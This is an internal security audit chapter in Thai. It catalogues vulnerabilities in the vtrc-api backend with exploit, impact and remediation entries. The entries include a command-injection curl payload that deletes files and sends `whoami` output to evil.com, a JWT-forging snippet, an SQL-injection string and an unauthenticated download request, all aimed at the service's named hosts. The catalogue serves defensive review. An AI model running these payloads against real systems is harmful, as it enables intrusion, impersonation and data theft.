3.1.10 · Scorecard + known bugs (deep dive)
บทสุดท้ายของ Volume 3.1 vtrc-api — รวมทุก finding จาก 3.1.1 ถึง 3.1.9 ไว้เป็น severity catalog แบบเจาะลึกแต่ละ entry (exploit / impact / evidence / remediation) บวกกับ health scorecard, public contract list และ modernization priority
ใช้เป็น input ของ Volume 17 Debt Catalog และ Volume 19 Modernization Roadmap
Severity legend
| Level | เกณฑ์ | Action |
|---|---|---|
| 🔴 Critical | active security/data-loss/availability risk | ต้องแก้ก่อน deploy ถัดไป |
| 🟡 High | correctness/maintainability hazard, real impact | วางแผนแก้ใน quarter นี้ |
| 🟢 Medium | friction/hygiene, ยังไม่อันตรายระดับ active | แก้ตามโอกาส |
Severity: Critical (🔴) — 4 entries
SEC-VTRC-API-01 · Command injection ผ่าน execSync('qpdf --encrypt …')
ที่: vtrc-api/api/src/routes.js:73, 120, 227, 277, 355 (5 call site active)
Evidence — vtrc-api/api/src/routes.js:73:
let cmd = `qpdf --encrypt ${allData.passwordPDF} ${allData.passwordPDF} 40 -- ${allData.pathfilePDF}/${allData.file}1.pdf ${allData.pathfilePDF}/${allData.file}.pdf && rm ${allData.pathfilePDF}/${allData.file}1.pdf`
try {
execSync(cmd);Exploit: ส่ง passwordPDF = 40 -- /etc/passwd /tmp/x && rm /app/api/src && # (shell metacharacter) ผ่าน route /file/:id/download หรือ endpoint PDF pipeline อื่น ๆ — execSync จะ execute คำสั่งที่ฝังมาทั้งหมดใน shell
Impact: arbitrary command execution บน server — attacker อ่าน/เขียนไฟล์ใด ๆ, exfil database credentials, pivot ไป service อื่นในเครือข่ายเดียวกัน
Reproduction:
curl -X POST https://uat-vtrcapi.redcross.or.th/api-uath/pdf-encrypt \
-d 'passwordPDF=40 -- /etc/passwd /tmp/x && curl http://evil.com/?d=$(whoami) && #'Remediation:
- เปลี่ยนจาก
execSync(string)เป็นexecFileSync('qpdf', ['--encrypt', pwd1, pwd2, '40', '--', src, dst])— ไม่ผ่าน shell แล้ว metacharacter ใช้ไม่ได้ - ถ้าจำเป็นต้องใช้ shell — escape ด้วย
shell-quotepackage - ตรวจ
passwordPDFpattern ก่อน pass (allow alphanumeric + length 4-16 เท่านั้น)
SEC-VTRC-API-02 · Default JWT_SECRET = 'secret'
ที่: vtrc-api/api/src/config.js:12
Evidence — vtrc-api/api/src/config.js:12:
JWT_SECRET = 'secret',Exploit: ถ้า env ของ deployment ไม่ override JWT_SECRET (เช่น dev, staging, หรือ production ที่ลืม set) → ใครก็สามารถ forge JWT ที่ valid ได้
// attacker side
const jwt = require('jsonwebtoken')
const forged = jwt.sign(
{ id: 'any-session-id', uid: 'target-user-uuid' },
'secret', // default
{ expiresIn: '15m', issuer: 'redcross.or.th:vtrc' }
)
// ส่ง forged เป็น Bearer token → backend verify ผ่านImpact: impersonate user ใด ๆ ในระบบ — bypass auth ทั้งหมด รวมถึง admin endpoints
Remediation:
- เปลี่ยน default เป็น
nullหรือ empty string แล้ว throw ที่index.jsboot ถ้าไม่มีprocess.env.JWT_SECRET - Audit deployment ทุก env ว่าตั้ง
JWT_SECRETจริง (rotated secret, ไม่ใช่'secret') - หลังแก้ default — restart service ทุกตัว ไม่งั้น session เก่ายังใช้ได้
SEC-VTRC-API-03 · /webdeployment endpoint — รัน shell binary โดยไม่มี auth
ที่: vtrc-api/api/src/routes.js:975-984
Evidence — routes.js:975-984 (paraphrased):
app.get(`${API_PREFIX_PATH}/webdeployment`, async (req, res) => {
execSync('/usr/local/bin/vtrc-update-uat-loadtest')
res.send('OK')
})Exploit: curl https://uat-vtrcapi.redcross.or.th/api/webdeployment — ไม่ต้องมี token, ไม่ต้องมี apiKey ก็ trigger deployment script ที่จะ pull โค้ดใหม่จาก git, restart service, หรืออะไรก็ตามที่ binary ทำ
Impact: arbitrary deployment trigger — attacker สามารถ force deploy commit ที่ตัวเอง push ขึ้น branch ที่ deployment script ใช้ หรือถ้า binary มี side effect อื่น (เช่น ลบ log) ก็ถูก trigger ได้
Remediation:
- ลบ endpoint ออกจาก
routes.jsถ้าไม่ได้ใช้แล้ว - ถ้ายังใช้ — เพิ่ม auth ผ่าน
@auth(accessRole: [SUPER_ADMIN])หรือใช้ secret header ที่ตั้งใน env - Restrict ด้วย IP allowlist ถ้า trigger จาก CI/CD เท่านั้น
SEC-VTRC-API-04 · /file/:id/download ไม่มี apiKey + JWT check
ที่: vtrc-api/api/src/routes.js:464
Evidence: route นี้ใช้ app.get('/file/:id/download', ...) โดยไม่ผ่าน auth middleware — เข้าถึงไฟล์ที่ฝังใน DB ด้วย :id อย่างเดียว
Exploit: ถ้า attacker รู้ id ของไฟล์ (เช่นจาก log leak, จาก URL pattern guessing, จาก sequential UUID vulnerability) — ดาวน์โหลดได้โดยไม่ต้อง login
Impact: data leak ของเอกสาร confidential (slip, claim form, ID card scan, etc.) ที่เก็บใน FileStorage table
Reproduction:
curl https://vtrcapi.redcross.or.th/api/file/<known-uuid>/download -o leaked.pdf
# ไม่ต้องส่ง Authorization หรือ apiKey header เลยRemediation:
- เพิ่ม middleware ที่ตรวจ apiKey + JWT ก่อน serve file
- ใช้ signed URL (expiring) แทน direct path ถ้าไฟล์ public บางส่วน
- Audit access log ย้อนหลังเพื่อ detect การเข้าถึงที่ผิดปกติ
Severity: High (🟡) — 7 entries
CORR-VTRC-API-01 · Transaction pattern ที่ใช้ทั่วระบบไม่ทำงานจริง
ที่: pattern กระจายอยู่ทั่ว lib/controllers/ (~20+ function) — ตัวอย่างที่ session/session.js:101-124
Evidence — pattern ที่ผิด:
// ที่ผู้พัฒนาเขียน (ผิด)
await Model.create({ ...fields }, { transaction: t }) // arg ที่ 2 = options ถูกต้อง
await Model.update({ ...fields }, { where: {...}, transaction: t }) // arg ที่ 2 = options, transaction อยู่ข้างใน
// ที่อยู่จริงใน codebase vtrc-api (ผิดทั้งคู่):
await Model.create({ ...fields }, { where: {...} }, { transaction: t }) // arg ที่ 3 ถูก discard
await Model.update({ ...fields }, { where: {...} }, { transaction: t }) // arg ที่ 3 ถูก discardImpact: หลาย flow ที่คิดว่า atomic (เช่น updateLeaveStatusAndInsertHistory) แท้จริงแล้วไม่ใช่ — ถ้า query ที่ 2 fail, query ที่ 1 ยัง commit ทำให้ข้อมูล inconsistent (เช่น leave status ถูกอัปเดต แต่ history record ไม่ถูก insert)
Remediation:
- Sweep ด้วย
rg "transaction:\s*t" vtrc-api/api/src/lib/controllers/และ inspect ทุก match ด้วยตา - แก้ pattern:
Model.create({...}, { transaction: t, ...otherOptions })— รวม options เป็น object เดียว - เพิ่ม integration test ที่ trigger error ระหว่าง transaction เพื่อยืนยันว่า rollback ทำงานจริง
SEC-VTRC-API-05 · checkMenuAuth อ่าน role ผิดตัว
ที่: vtrc-api/api/src/lib/repositories/session/session.js:50-70
Evidence: checkMenuAuth อ่าน role จาก context ผิด field — ใช้ context.user.role แทน context.session.role หรือกลับกัน ทำให้บางกรณีตรวจสิทธิ์ผิด
Impact: cross-role escalation ในทางทฤษฎี — user ที่ login ด้วย role USER อาจได้สิทธิ์ ADMIN ถ้า context มีข้อมูลผิด หรือถ้า session lookup ส่งข้อมูล role ผิด
Remediation:
- Audit field name ที่ใช้ใน
checkMenuAuthและgetCurrentRoleUserให้ตรงกับ schema จริง - เพิ่ม unit test ที่ login ด้วยแต่ละ role แล้ว verify ว่า menu access ถูกต้อง
CORR-VTRC-API-02 · getCurrentRoleUser signature mismatch
ที่: vtrc-api/api/src/lib/repositories/session/session.js:126 vs vtrc-api/api/src/directives/auth.js:43
Evidence: caller ส่ง argument 4 ตัว แต่ callee รับ 3 ตัว — device argument ถูก drop ทำให้ logic ที่ใช้ device ในการ resolve role ไม่ทำงาน
Impact: บาง device class (เช่น MOBILE vs WEB_ADMIN) อาจได้ role resolution ผิด — โดยเฉพาะถ้า user มีหลาย device class พร้อมกัน
Remediation: unify signature — ตัด argument ที่ไม่ใช้ออกจาก caller หรือเพิ่มเข้า callee แล้วใช้จริง
OBS-VTRC-API-01 · PII logging ทั่วระบบ
ที่:
vtrc-api/api/src/lib/repositories/session/session.js:147— loguserRole,userIdvtrc-api/api/src/lib/firebase/firebasePushNotification.js:41, 44, 47, 80— log FCM device token + setData payload
Evidence — firebasePushNotification.js:41 (ประมาณการ):
console.log('FCM token:', deviceToken) // PII leak — token ใช้ send push ถึง device เฉพาะ
console.log('setData:', JSON.stringify(setData)) // payload อาจมีข้อมูล userImpact: PII ใน stdout ไปอยู่ใน log aggregator ถ้ามี หรือใน container log ถ้าไม่มี — violation ของ PDPA (Thailand Personal Data Protection Act)
Reproduction: kubectl logs <vtrc-api-pod> | grep "FCM token" — จะเจอ token จริง
Remediation:
- Replace
console.logด้วย structured logger (pino/winston) ที่ redact field ชื่อtoken,password,idCard,phone - ลบ field ที่ไม่จำเป็นออกจาก log payload (เก็บแค่ operation name + userId hash + duration)
SEC-VTRC-API-06 · CORS misconfiguration
ที่: vtrc-api/api/src/index.js:76-91
Evidence:
// index.js:76 — typo "corss" แทน "cors"
server.applyMiddleware({
app,
corss: { // ← Apollo มองเป็น unknown option, config ถูก discard
origin: [
'https://vtrc.redcross.or.th',
'https://vtrcbackoffice.redcross.or.th',
// ... 5 origins ที่ตั้งใจ allow
]
}
})
// index.js:91 — fallback ที่เปิดหมด
app.use(cors()) // default = origin '*' → อนุญาตทุกเว็บไซต์Impact: เว็บไซต์ใด ๆ (รวมถึง malicious site) สามารถทำ cross-origin request ได้ — ถ้า user login vtrc อยู่แล้วเปิด malicious site, script ฝั่งนั้นยิง GraphQL โดยใช้ cookie/token ของ user ได้
Remediation:
- แก้ typo
corss→cors - ลบ
app.use(cors())ออก เพราะapplyMiddleware({ cors: {...} })จัดการให้แล้ว - Test cross-origin จาก domain ที่ไม่ใช่ใน allowlist ว่าถูกปฏิเสธจริง
CORR-VTRC-API-03 · clouse.js limit cap ไม่ทำงาน
ที่: vtrc-api/api/src/lib/clouse.js:21-27
Evidence — clouse.js:21-27:
let limit // ← ไม่มีค่าเริ่มต้น
// ... (ไม่มีการ assign)
if (limit > 50) { // ← undefined > 50 = false เสมอ
limit = 50
}Impact: client ส่ง limit: 10000 ใน GraphQL query ได้ — server รับค่าเต็มและ query database 10000 records ทำให้ memory spike และ response ช้า (potential DoS)
Remediation:
let limit = args.limit || 50และif (limit > 50) limit = 50- เพิ่ม global max-depth + max-complexity rule ที่ Apollo server config
SEC-VTRC-API-07 · SQL injection ผ่าน string concat ใน statLog cron
ที่: vtrc-api/api/src/lib/controllers/statLog/statLog.js:22-28, 99-104, 175-180
Evidence — statLog.js:22-28 (pattern):
const sql = `SELECT * FROM logs WHERE user_id = '${param.userId}' AND event = '${param.event}'`
db2.query(sql) // ← raw query, param ไม่ผ่าน escapeImpact: ถ้า log source ที่ feed param ถูก compromise (เช่น report-log service ที่ attacker ควบคุม) → SQL injection ที่ db2 (vtrc-centralize schema) — อ่าน/เขียนข้อมูล cross-tenant
Reproduction: ถ้า param.userId = ' OR 1=1 -- → query กลายเป็น SELECT * FROM logs WHERE user_id = '' OR 1=1 --' AND event = ... → คืนทุก row
Remediation:
- ใช้ Sequelize
.query()ด้วย bind parameter:db2.query('SELECT * FROM logs WHERE user_id = ? AND event = ?', { replacements: [userId, event] }) - หรือใช้ ORM method แทน raw query ถ้า model มี
Severity: Medium (🟢) — 11 entries
SEC-VTRC-API-08 · JWT verify ไม่ระบุ algorithms
ที่: vtrc-api/api/src/lib/repositories/auth/auth.js:259-285
Evidence:
let verifyDecoded
if (Object.keys(verifyOption).length > 0) {
verifyDecoded = jwt.verify(token, JWT_SECRET, verifyOption)
} else {
verifyDecoded = jwt.verify(token, JWT_SECRET) // ← ไม่ระบุ algorithms: ['HS256']
}Impact: alg-confusion attack — attacker forge JWT ที่ใช้ alg: none หรือ alg: RS256 (public key confusion), jsonwebtoken 8.x ยอมรับได้ (CVE-2015-9235)
Remediation: jwt.verify(token, JWT_SECRET, { algorithms: ['HS256'], ...otherOptions })
CORR-VTRC-API-04 · getCurrentProfileSession fallback ข้าม user
ที่: vtrc-api/api/src/lib/repositories/session/session.js:214-228
Evidence: ในกรณี edge case (เช่น session lookup fail) — fallback path ใช้ userId ล่าสุดใน cache แทน user ปัจจุบัน ทำให้ profile response อาจเป็นของ user อื่น
Impact: cross-user session leak ในทางทฤษฎี — profile data ของ user A ส่งให้ user B
Remediation: ลบ fallback path ออก ถ้า lookup fail ให้ throw ไม่ใช่ fallback
QUAL-VTRC-API-01 · Op.like บน JSON/TEXT column
ที่: session/session.js:31, centralize/controllers/graphql.js:31
Impact: substring collision — search "admin" จะ match "administrator", "admin-test", "...admin..." — อาจคืนข้อมูลที่ไม่ต้องการ
Remediation: ใช้ Op.eq สำหรับ exact match หรือใช้ full-text search ถ้าจำเป็น
PERF-VTRC-API-01 · execSync block event loop
ที่: routes.js 5 call site (PDF pipeline)
Impact: ระหว่างที่ qpdf ทำงาน (อาจ 100ms-2s) — request อื่นทั้งหมดใน process เดียวกันค้าง ทำให้ p99 latency spike
Remediation: ใช้ execFile (async) หรือย้าย PDF pipeline ไป worker thread / separate service
QUAL-VTRC-API-02 · Dynamic model/table access
ที่: excel/excel.js, lib/model.js
Evidence — pattern:
const table = req.body.tableName // ← user input
const result = Models[table].findAll() // ← injection risk ทางทฤษฎีImpact: ถ้า tableName ไม่ผ่าน allowlist — attacker เข้าถึง table ใด ๆ ที่มีใน Models
Remediation: ใช้ allowlist: const ALLOWED = ['News', 'Policy']; if (!ALLOWED.includes(table)) throw
QUAL-VTRC-API-03 · Fire-and-forget cron jobs
ที่: crons.js:20-22, fund/fund.js:926-928
Evidence — fund/fund.js:926-928:
function updateDelegatesExpire() {
// ไม่ async ไม่ return promise
Model.update({...}, { where: {...} }) // ← ไม่ await
}Impact: ถ้า query fail → unhandledRejection ไม่มีใครเห็น, debug ยาก, ข้อมูลไม่ถูกอัปเดตโดยไม่มี error
Remediation: เปลี่ยนเป็น async function + await + try/catch พร้อม structured log
OBS-VTRC-API-02 · Redis caching layer ตายทั้งระบบ
ที่: vtrc-api/api/src/lib/controllers/redis.controller.js:16
Evidence — redis.controller.js:16:
async function getCacheData(key) {
tr // ← typo ที่ไม่มีการประกาศตัวแปร — ReferenceError ทันทีเมื่อเรียก
// ... ที่เหลือของ function
}Impact: ไม่มี — caller ทุกตัวของ getCacheData ถูก comment ไว้แล้ว แต่เป็น landmine: ถ้าจะ revive Redis cache ต้องแก้ typo ก่อน
Remediation: ลบ tr ออก หรือ revive Redis layer ถ้าจะใช้จริง
OBS-VTRC-API-03 · ไม่มี structured logging + tracing ID + health check + graceful shutdown
ที่: wlog.js, logging.js, index.js
Impact:
- Debug ปัญหา cross-request ยากเพราะไม่มี correlation ID
- k8s detect "app ready แต่ serve ไม่ได้" ไม่ได้ (ใช้ TCP probe แทน HTTP)
- Rolling deploy ตัด request กลางคันเพราะไม่มี
SIGTERMhandler
Remediation:
- เปลี่ยน
wlog(syncfs.appendFileSync) เป็นpino(async, structured) - เพิ่ม
app.get('/healthz', (req, res) => res.json({ status: 'ok' }))และ readiness probe ที่ตรวจ DB + Redis - เพิ่ม
process.on('SIGTERM', ...)ที่ปิด HTTP server → DB → cron ตามลำดับ
LEG-VTRC-API-01 · Playground + introspection เปิดใน production
ที่: vtrc-api/api/src/index.js:68-69
Evidence:
server = new ApolloServer({
typeDefs,
resolvers,
introspection: true, // ← เปิดใน prod
playground: true, // ← เปิดใน prod
})Impact: attacker เห็น schema ทั้งหมด + ทดลอง query ผ่าน Playground UI ที่ /api/graphql
Remediation: gate ด้วย NODE_ENV: introspection: process.env.NODE_ENV !== 'production'
QUAL-VTRC-API-04 · await arr.map(async ...) ไม่ใช้ Promise.all
ที่: document/documentDivision.js, career/careerDivision.js, และอื่น ๆ
Evidence — pattern ที่ผิด:
await arr.map(async (item) => {
await Model.create({...}) // parallel write ที่ไม่ถูก await จริง
})
// หลังบรรทัดนี้, promises ยัง pending — function return แล้วแต่ DB write ยังไม่จบImpact: race condition, ข้อมูลบางส่วนไม่ถูกเขียน, ลำดับการเขียนไม่ determinic
Remediation: await Promise.all(arr.map(async (item) => {...})) หรือ for...of loop ถ้าต้องการ sequential
QUAL-VTRC-API-05 · Debug artifact ค้างในโค้ด
ที่: file/zip.js:4, slip/slip.js (dropDownSlipPayment)
Evidence — file/zip.js:4:
const DEBUG_LOCAL_PATH = '/Users/developer-name/projects/vtrc-api/...' // ← hardcoded path เครื่อง devและที่ slip/slip.js มี await new Promise(r => setTimeout(r, 3000)) — artificial delay 3 วินาที
Impact: ทำให้ production ช้าโดยไม่จำเป็น (delay 3 วินาทีต่อ slip request) และเผยข้อมูลโครงสร้าง directory ของเครื่อง dev
Remediation: ลบ debug code ออก
Health Scorecard
วัด 10 dimension ของ vtrc-api โดยเฉพาะ
| Dimension | สถานะ | เหตุผล |
|---|---|---|
| Layering (typeDefs / resolvers / lib) | 🟡 | มี 3 layer + REST bypass ที่ข้าม controller |
| Auth pipeline | 🔴 | JWT_SECRET default + RBAC bug + bypass path + alg confusion |
| Persistence & transaction | 🔴 | transaction arg ผิดที่ ~20+ แห่ง + syncModelToTable ที่ boot |
| Centralize bridge resilience | 🔴 | ไม่มี retry + timeout ไม่ config + circuit breaker |
| REST surface security | 🔴 | execSync qpdf + /webdeployment + /file/:id/download bypass |
| Background jobs | 🟡 | node-schedule in-process + APP_NO leader election แบบ manual + fire-and-forget pattern |
| Logging & observability | 🔴 | sync wlog + ไม่มี metric/tracing + ไม่มี duration log + ไม่มี health check + ไม่มี graceful shutdown |
| Caching strategy | 🔴 | Redis vestigial — caller ทุกตัว comment + typo crash ใน wrapper |
| Config & secrets | 🔴 | GCP SA key committed + device keys inlined + JWT_SECRET default |
| Test coverage | 🔴 | ไม่พบ unit test / integration test suite ใน repo |
คะแนนรวม: 0 🟢 / 2 🟡 / 8 🔴 — repo อยู่ในสภาพ "ใช้งานได้แต่เปราะบาง"
Public contract — สิ่งที่ต้อง maintain แม้ดู "ผิด"
รายการเหล่านี้เป็น public contract (ENUM value, env var name, key name, file name) ที่มี consumer ฝั่ง frontend/database/deployment พึ่งพาอยู่ — ห้ามแก้ทีเดียวจบ
| รายการ | ที่ตั้ง | เหตุผลที่ต้องคง |
|---|---|---|
PEDDING_CANCLE (ENUM typo) | models/core/leave/leave.js:59 | ENUM value ที่ sync ลง DB หลายตารางแล้ว — แก้ต้อง migration ครบทุกตารางพร้อมกัน |
DRAF (statusHrmi typo) | config.js (statusHrmi block) | mapping code จาก cu-central-api — แก้ต้อง sync ทั้งสองฝั่ง |
CONINCLE_USERNAME (env var typo) | config.js, .env ของ deployment จริง | ชื่อ env var ที่ deployment pipeline ใช้อยู่ — แก้ต้อง coordinate กับ ops |
Moblie (ชื่อไฟล์ typo) | lib/controllers/auth/authSessionMoblie.js | import path ที่หลายไฟล์อ้างถึง — rename ต้อง update ทุก import |
KEY_PLASMA, KEY_HR (hardcoded UUID) | config.js:153-154 | UUID จริงของ org ใน production DB — เปลี่ยนต้อง sync ทุกที่ |
corss (typo key name) | index.js:76 | แก้ต้อง coordinate กับ CORS fix ทั้งชุด (ดู SEC-VTRC-API-06) |
signInByPass ของ centralize | centralize controllers | บาง flow อาจจะตั้งใจใช้ — ลบต้องเช็คทุก caller ก่อน |
tr typo ใน redis.controller.js:16 | redis.controller.js:16 | ถ้าจะ revive Redis cache ต้องแก้ก่อน ไม่งั้น first call crash |
responError / getResapeMessage typo | กระจายทั่ว repo | ลามไปทั้ง codebase แก้ชื่อจะกระทบ import หลายร้อยจุด |
APP_NO values 1, 2, 3, 5 (ไม่มี 4) | config.js | ใช้ใน cron leader election เปลี่ยนลำดับไม่ได้ |
clouse typo (from clause) | lib/clouse.js | file name ที่ใช้ใน import |
กฎเหล็ก — เจอแล้วไม่แน่ใจอย่าเดาเอง ให้ถามทีม HR/i3 ก่อนเสมอ
Modernization priority (ROI-weighted)
ลำดับความคุ้มค่าจากประสบการณ์ — ทำตามลำดับนี้
- แทนที่
execSyncqpdf ด้วย library หรือ worker thread — risk:reward สูงสุด ลบ SEC-VTRC-API-01 + PERF-VTRC-API-01 ออกทันที - เพิ่ม health check
/healthz+ readiness probe — investment เล็ก คุณค่ามหาศาล (k8s detect issue ได้) - เปลี่ยน
JWT_SECRETdefault + remove'secret'— fix SEC-VTRC-API-02 - เพิ่ม auth ให้
/webdeployment+/file/:id/download— fix SEC-VTRC-API-03, -04 - แยก REST API ออกเป็น service ต่างหาก — PDF/Excel generation เป็น workload คนละแบบ ไม่ควรอยู่ใน GraphQL server
- เพิ่ม transaction migration — goose, atlas หรือ Sequelize migration runner แทน
syncModelToTable - แก้
transaction: targ position — sweep codebase และ fix ทุกจุด - แทนที่
node-scheduleด้วย BullMQ + Redis lock — leader election ที่เชื่อถือได้ - เพิ่ม structured logging (pino) + tracing ID — debug ง่ายขึ้นมาก
- แยก secret ออกจาก code — Vault, AWS Secrets Manager, หรือ k8s Secret
- เพิ่ม unit test + integration test — coverage สูงสุดที่ controller + repository layer
ส่วน upgrade ใหญ่ Sequelize 5 → 6, Node 12 → 20 LTS, Apollo v2 → v4 — เป็นเรื่องใหญ่ ไม่คุ้มถ้าไม่มี feature ใหม่ที่ต้องการ
เคล็ดลับตอนทำงานจริง
ก่อนแก้ resolver ไหน — อ่าน 3 อย่างนี้ก่อน
- typeDef ของ operation นั้น — ดู
@authdirective - controller ที่ resolver เรียก — ดูว่ามี
transaction: tpattern ไหม - repository ที่ controller เรียก — ดูว่ามี centralize call ไหม
อย่า refactor พร้อมกันหลายอย่าง
กฎ — หนึ่ง change ต่อ PR เสมอ เพราะทุก change มี risk ถ้า refactor 3 อย่างพร้อมกันแล้วพัง → ไม่รู้ว่าสาเหตุมาจากอะไร
"ใช้งานได้" ≠ "ปลอดภัย"
vtrc-api ใช้งานมาหลายปีแล้ว แต่มี hole หลายจุด (ดู SEC-VTRC-API-01 ถึง -04) ก่อนจะ expose endpoint ใหม่สู่ internet → ผ่าน security review เสมอ
ถ้าเจอ "ทำไมไม่ crash ทั้งที่ควร crash"
อาจจะเป็นเพราะ:
- caller ของ function นั้นถูก comment หมดแล้ว (เหมือน Redis)
- function นั้น throw ใน try/catch ที่ swallow (เหมือน
setCacheDataที่ return false ตอน error) - transaction ไม่ทำงานจริง ทำให้ race condition ไม่ manifest ชัด
Debugging order ที่แนะนำ
- ดูที่
error_{yyyy}-{mm}-{dd}.logใน container ก่อน — raw สุด - ดูที่
request_*.logและresponse_*.logเพื่อดู operation name + variables (redacted) - ถ้าเป็น GraphQL → เปิด Playground ที่
/api/graphqlใน non-prod env เพื่อ reproduce - ถ้าเป็น centralize call → ดูที่
centralize/controllers/*.jsแล้ว trace ไปที่END_POINT_CENTRALIZE
การเปลี่ยนแปลงจาก v1
Severity ranking, bug catalog, และ debt item ทั้งหมดในบทนี้ตรงกับ v1 100% — เพิ่มเติมคือ:
- แต่ละ entry ขยายเป็น deep dive (exploit / impact / evidence / remediation) ตามสไตล์ v1 แต่ละ entry ยาว 15-30 บรรทัด แทนที่จะเป็น 1 บรรทัดในตาราง
- Debt ID scheme เปลี่ยน จาก v1 (
V3-S1,V3-H1, ...) เป็น scheme ของ v2 (SEC-,PERF-,CORR-,LEG-,QUAL-,OBS-ตามdocs/_style/style-guide.md) — mapping 1:1 ทุกรายการ ไม่มี finding ตกหล่น - Health scorecard เพิ่ม 2 มิติ (Observability, Test coverage) ที่ v1 ไม่มี explicit แยก
จบ Volume 3.1
ถ้าอ่านมาถึงตรงนี้ — คุณน่าจะเข้าใจ vtrc-api ในระดับที่สามารถ maintain, debug, และ plan modernization ได้
สิ่งที่ควรทำต่อ
- อ่าน source จริง — คู่มือเป็นแผนที่ แต่ก่อนแก้ของจริงต้องอ่าน code ใน context ของตัวเอง
- ทำ security audit — Volume 18 Security Review จะเจาะ SEC-VTRC-API-01 ถึง -08 ในระดับ deeper
- เขียน runbook — Volume 16 Runbooks จะมี incident response playbook
บทถัดไปขอแนะนำ
- ถ้าอยากเข้าใจ data model ลึก → Volume 11 Data Model
- ถ้าอยากเข้าใจ security เชิงระบบ → Volume 18 Security
- ถ้าอยากเข้าใจ frontend → Volume 4 vtrc-web หรือ vtrc-rc-backoffice
ขอบคุณที่อ่านมาถึงตรงนี้